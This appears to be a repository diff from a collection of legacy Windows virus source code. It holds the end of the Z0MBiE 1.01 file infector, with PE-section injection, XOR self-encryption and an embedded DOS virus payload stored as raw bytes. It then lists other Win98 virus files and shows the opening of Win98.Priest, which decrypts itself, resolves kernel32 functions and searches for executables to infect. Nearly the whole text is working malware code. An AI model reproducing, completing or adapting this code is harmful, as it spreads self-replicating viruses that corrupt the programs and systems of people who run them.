mov subme[ebp], eax
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the pe header and object table to the file
|
||||
mov ecx, headersize[ebp]
|
||||
lea edx, peheader[ebp]
|
||||
call writefile
|
||||
|
||||
; move to the physical offset of the new object
|
||||
mov edx, physicaloffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the virus code to the new object
|
||||
|
||||
call random
|
||||
mov xorword[ebp], eax
|
||||
|
||||
lea edx, start[ebp]
|
||||
mov ecx, decrsize
|
||||
call writefile
|
||||
|
||||
lea esi, codestart[ebp]
|
||||
lea edi, buf[ebp]
|
||||
mov ecx, cryptn
|
||||
@@1: lodsd
|
||||
xor eax, xorword[ebp]
|
||||
neg eax
|
||||
stosd
|
||||
loop @@1
|
||||
|
||||
lea edx, buf[ebp]
|
||||
mov ecx, viriisize-decrsize
|
||||
call writefile
|
||||
|
||||
@@close: call closefile
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; output: eax=rnd
|
||||
; zf=rnd(2)
|
||||
|
||||
random: call random16bit
|
||||
shl eax, 16
|
||||
|
||||
random16bit: push ebx
|
||||
mov bx, 1234h
|
||||
rndword equ word ptr $-2
|
||||
in al, 40h
|
||||
xor bl, al
|
||||
in al, 40h
|
||||
add bh, al
|
||||
in al, 41h
|
||||
sub bl, al
|
||||
in al, 41h
|
||||
xor bh, al
|
||||
in al, 42h
|
||||
add bl, al
|
||||
in al, 42h
|
||||
sub bh, al
|
||||
mov rndword[ebp], bx
|
||||
xchg bx, ax
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
; input: eax
|
||||
; output: eax=rnd(eax)
|
||||
; zf=rnd(2)
|
||||
|
||||
rnd: push ebx
|
||||
push edx
|
||||
xchg ebx, eax
|
||||
call random
|
||||
xor edx, edx
|
||||
div ebx
|
||||
xchg edx, eax
|
||||
pop edx
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
|
||||
codesize equ $-start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
kernel_sign: pushfd ; <- kernel
|
||||
cld
|
||||
push eax
|
||||
push ebx
|
||||
push edx
|
||||
kernel_sign_size equ $-kernel_sign
|
||||
|
||||
kernel_call dd ?
|
||||
|
||||
names: db 'ExitProcess',0
|
||||
db 'FindFirstFileA',0
|
||||
db 'FindNextFileA',0
|
||||
db 'CreateFileA',0
|
||||
db 'SetFilePointer',0
|
||||
db 'ReadFile',0
|
||||
db 'WriteFile',0
|
||||
db 'CloseHandle',0
|
||||
db 'GetCurrentDirectoryA',0
|
||||
db 'SetCurrentDirectoryA',0
|
||||
db 'GetWindowsDirectoryA',0
|
||||
db 'GetCommandLineA',0
|
||||
db 'WinExec',0
|
||||
db 'SetPriorityClass',0
|
||||
db 'GetModuleHandleA',0
|
||||
db 0
|
||||
|
||||
fns:
|
||||
def_fn macro name
|
||||
_&name&: db 68h
|
||||
fn_&name& dd ?
|
||||
jmp kernel_call[ebp]
|
||||
endm
|
||||
|
||||
def_fn ExitProcess
|
||||
def_fn FindFirstFileA
|
||||
def_fn FindNextFileA
|
||||
def_fn CreateFileA
|
||||
def_fn SetFilePointer
|
||||
def_fn ReadFile
|
||||
def_fn WriteFile
|
||||
def_fn CloseHandle
|
||||
def_fn GetCurrentDirectoryA
|
||||
def_fn SetCurrentDirectoryA
|
||||
def_fn GetWindowsDirectoryA
|
||||
def_fn GetCommandLineA
|
||||
def_fn WinExec
|
||||
def_fn SetPriorityClass
|
||||
def_fn GetModuleHandleA
|
||||
|
||||
bytesread dd ?
|
||||
|
||||
drive_c db 'C:\',0
|
||||
drive_d db 'D:\',0
|
||||
drive_e db 'E:\',0
|
||||
drive_f db 'F:\',0
|
||||
|
||||
exefiles db '*.EXE',0
|
||||
dirfiles db '*.',0
|
||||
|
||||
prev_dir db '..',0
|
||||
|
||||
win32_data_thang:
|
||||
fileattr dd 0
|
||||
createtime dd 0,0
|
||||
lastaccesstime dd 0,0
|
||||
lastwritetime dd 0,0
|
||||
filesize dd 0,0
|
||||
resv dd 0,0
|
||||
fullname db 'Z0MB.EXE',256-8 dup (0)
|
||||
realname db 256 dup (0)
|
||||
|
||||
handle dd ?
|
||||
|
||||
peheaderoffset dd ?
|
||||
objecttableoffset dd ?
|
||||
|
||||
newobject: ;1234567 8
|
||||
oname db '.Z0MBiE',0
|
||||
virtualsize dd 0
|
||||
RVA dd 0
|
||||
physicalsize dd 0
|
||||
physicaloffset dd 0
|
||||
reserved dd 0,0,0
|
||||
objectflags db 40h,0,0,0c0h
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
|
||||
db 'My 2nd virii for mustdie',13,10
|
||||
db 'Tnx to S.S.R.',13,10
|
||||
|
||||
m1 macro n
|
||||
if n ge 100000
|
||||
db n / 10000/10 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 10000
|
||||
db n / 10000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 1000
|
||||
db n / 1000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
db n / 100 mod 10 + '0'
|
||||
db n / 10 mod 10 + '0'
|
||||
db n / 1 mod 10 + '0',13,10
|
||||
endm
|
||||
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
zsetup db '\ZSetUp.EXE',0
|
||||
z:
|
||||
include z.inc ; Z0MBiE.1922
|
||||
z_size equ $-z
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
|
||||
db 13,10
|
||||
db 'code..............'
|
||||
m1 codesize
|
||||
db 'viriisize.........'
|
||||
m1 viriisize
|
||||
db 'virtsize..........'
|
||||
m1 virtsize
|
||||
|
||||
peheader:
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
dd 3 dup (0)
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
dd 4 dup (0)
|
||||
entrypointRVA dd 0
|
||||
dd 3 dup (0)
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
dd 4 dup (0)
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
peheader_size equ $-peheader
|
||||
|
||||
align 4
|
||||
viriisize equ $-start
|
||||
|
||||
infdir db 256 dup (?)
|
||||
|
||||
maxbufsize equ 4096
|
||||
buf db maxbufsize dup (?)
|
||||
|
||||
virtsize equ $-start
|
||||
end start
|
||||
|
||||
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
abc_size equ 1922 ; size in bytes
|
||||
abc_num equ 1922 ; size in elements
|
||||
|
||||
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
|
||||
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
|
||||
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
|
||||
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
|
||||
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
|
||||
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
|
||||
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
|
||||
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
|
||||
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
|
||||
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
|
||||
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
|
||||
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
|
||||
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
|
||||
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
|
||||
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
|
||||
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
|
||||
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
|
||||
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
|
||||
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
|
||||
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
|
||||
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
|
||||
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
|
||||
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
|
||||
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
|
||||
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
|
||||
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
|
||||
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
|
||||
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
|
||||
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
|
||||
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
|
||||
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
|
||||
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
|
||||
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
|
||||
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
|
||||
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
|
||||
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
|
||||
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
|
||||
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
|
||||
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
|
||||
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
|
||||
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
|
||||
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
|
||||
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
|
||||
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
|
||||
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
|
||||
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
|
||||
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
|
||||
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
|
||||
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
|
||||
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
|
||||
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
|
||||
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
|
||||
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
|
||||
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
|
||||
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
|
||||
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
|
||||
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
|
||||
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
|
||||
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
|
||||
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
|
||||
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
|
||||
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
|
||||
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
|
||||
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
|
||||
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
|
||||
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
|
||||
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
|
||||
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
|
||||
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
|
||||
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
|
||||
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
|
||||
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
|
||||
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
|
||||
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
|
||||
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
|
||||
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
|
||||
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
|
||||
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
|
||||
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
|
||||
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
|
||||
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
|
||||
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
|
||||
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
|
||||
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
|
||||
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
|
||||
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
|
||||
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
|
||||
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
|
||||
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
|
||||
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
|
||||
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
|
||||
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
|
||||
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
|
||||
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
|
||||
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
|
||||
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
|
||||
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
|
||||
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
|
||||
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
|
||||
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
|
||||
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
|
||||
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
|
||||
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
|
||||
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
|
||||
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
|
||||
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
|
||||
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
|
||||
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
|
||||
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
|
||||
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
|
||||
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
|
||||
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh
|
||||
|
||||
|
||||
|
||||
|
||||
|
6290
LegacyWindows/Win98.BeGemot.8192.asm
Normal file
6290
LegacyWindows/Win98.BeGemot.8192.asm
Normal file
File diff suppressed because it is too large
Load Diff
1936
LegacyWindows/Win98.BlackBat.asm
Normal file
1936
LegacyWindows/Win98.BlackBat.asm
Normal file
File diff suppressed because it is too large
Load Diff
1537
LegacyWindows/Win98.Milennium.asm
Normal file
1537
LegacyWindows/Win98.Milennium.asm
Normal file
File diff suppressed because it is too large
Load Diff
495
LegacyWindows/Win98.Priest.asm
Normal file
495
LegacyWindows/Win98.Priest.asm
Normal file
@ -0,0 +1,495 @@
|
||||
; Win98.Priest
|
||||
.386
|
||||
.model flat
|
||||
extrn ExitProcess:PROC
|
||||
KER32 equ 0bff70000h
|
||||
Limit equ 0000h
|
||||
addname equ 0004h
|
||||
addfun equ 0008h
|
||||
addord equ 000Ch
|
||||
create equ 0010h
|
||||
close equ 0014h
|
||||
rfile equ 0018h
|
||||
ffind equ 001ch
|
||||
nfind equ 0020h
|
||||
white equ 0024h
|
||||
fpoin equ 0028h
|
||||
getw equ 002ch
|
||||
gets equ 0030h
|
||||
getc equ 0034h
|
||||
srchc equ 0038h
|
||||
getp equ 003ch
|
||||
shand equ 0040h
|
||||
fhand equ 0044h
|
||||
reads equ 0048h
|
||||
OLDEDI equ 004ch
|
||||
chkif equ 0050h
|
||||
chkdi equ 0054h
|
||||
WICHI equ 0058h
|
||||
exew equ 005ch
|
||||
DATAA equ 0200h
|
||||
heads equ 0300h
|
||||
.code
|
||||
Start_Virus:
|
||||
Call Delta_Offset
|
||||
Delta_Offset:
|
||||
Pop Ebp
|
||||
Sub Ebp,Offset Delta_Offset
|
||||
pushad
|
||||
KEY_CODE:
|
||||
mov EAX,00h
|
||||
LEA eSI,[VIRUS_BODY+EBP]
|
||||
mov ecx,End_Virus - VIRUS_BODY -4
|
||||
KEYCODE:
|
||||
XOR DWORD ptr [esi],eax
|
||||
add esi,1
|
||||
xchg al,ah
|
||||
ror eax,1
|
||||
loop KEYCODE
|
||||
VIRUS_BODY:
|
||||
popad
|
||||
push eax
|
||||
mov eax,[OLDIP+ebp]
|
||||
add eax,400000h
|
||||
push eax
|
||||
call Scan_DATA
|
||||
mov EDI,ESI
|
||||
add ESI,6
|
||||
cmp word ptr [esi],0
|
||||
je R_IP
|
||||
xor ecx,ecx
|
||||
mov cx,[esi]
|
||||
add ESI,0f2h
|
||||
add ESI,24h
|
||||
add edi,0f8h
|
||||
CHk_se:
|
||||
mov eax,[esi]
|
||||
and eax,0c0000000h
|
||||
cmp eax,0c0000000h
|
||||
jne Next_Se
|
||||
mov eax,[edi+8h]
|
||||
mov ebx,511
|
||||
add eax,ebx
|
||||
xor edx,edx
|
||||
inc ebx
|
||||
div ebx
|
||||
mul ebx
|
||||
sub eax,[edi+10h]
|
||||
cmp eax,700h+(W_ENC_END - W_ENC)
|
||||
jge OK_SE
|
||||
Next_Se:
|
||||
add esi,28h
|
||||
add edi,28h
|
||||
loop CHk_se
|
||||
JMP R_IP
|
||||
OK_SE:
|
||||
mov esi,[edi+0ch]
|
||||
add esi,[edi+10h]
|
||||
add esi,400000h
|
||||
mov ebp,ESI
|
||||
xor eax,eax
|
||||
mov esi,KER32+3ch
|
||||
lodsw
|
||||
add eax,KER32
|
||||
cmp dword ptr [eax],00004550h
|
||||
jne R_IP
|
||||
mov esi,[eax+78h]
|
||||
add esi,24
|
||||
add esi,KER32
|
||||
lodsd
|
||||
add eax,KER32
|
||||
mov [ebp+Limit],eax
|
||||
lodsd
|
||||
add eax,KER32
|
||||
mov [ebp+addfun],eax
|
||||
lodsd
|
||||
add eax,KER32
|
||||
mov [ebp+addname],eax
|
||||
lodsd
|
||||
add eax,KER32
|
||||
mov [ebp+addord],eax
|
||||
pop eax
|
||||
pop ebx
|
||||
push ebx
|
||||
push eax
|
||||
mov esi,ebx
|
||||
add esi,offset gp - Start_Virus
|
||||
mov ebx,esi
|
||||
mov edi,[ebp+addname]
|
||||
mov edi,[edi]
|
||||
add edi,KER32
|
||||
xor ecx,ecx
|
||||
call FIND_SRC
|
||||
shl ecx,1
|
||||
mov esi,[ebp+addord]
|
||||
add esi,ecx
|
||||
xor eax,eax
|
||||
mov ax,word ptr [esi]
|
||||
shl eax,2
|
||||
mov esi,[ebp+addfun]
|
||||
add esi,eax
|
||||
mov edi,[esi]
|
||||
add edi,KER32
|
||||
mov [getp+ebp],edi
|
||||
mov ebx,create
|
||||
pop eax
|
||||
pop edi
|
||||
push edi
|
||||
push eax
|
||||
add edi,offset cf - Start_Virus
|
||||
FIND_FUN:
|
||||
push edi
|
||||
push KER32
|
||||
call [getp+ebp]
|
||||
mov [ebx+ebp],eax
|
||||
add ebx,4
|
||||
cmp ebx,getp
|
||||
je OK_FIND_FILE
|
||||
mov al,0
|
||||
repne scasb
|
||||
jmp FIND_FUN
|
||||
OK_FIND_FILE:
|
||||
lea eax,[ebp+exew]
|
||||
push eax
|
||||
push 100h - 58h
|
||||
call [getc+ebp]
|
||||
or eax,eax
|
||||
je CHG_DIR
|
||||
OK_EXE:
|
||||
lea esi,[ebp+DATAA]
|
||||
push esi
|
||||
lea edi,[ebp+exew]
|
||||
push edi
|
||||
scan_dir:
|
||||
cmp byte ptr [edi],00h
|
||||
je ok_make_exe
|
||||
add edi,1
|
||||
jmp scan_dir
|
||||
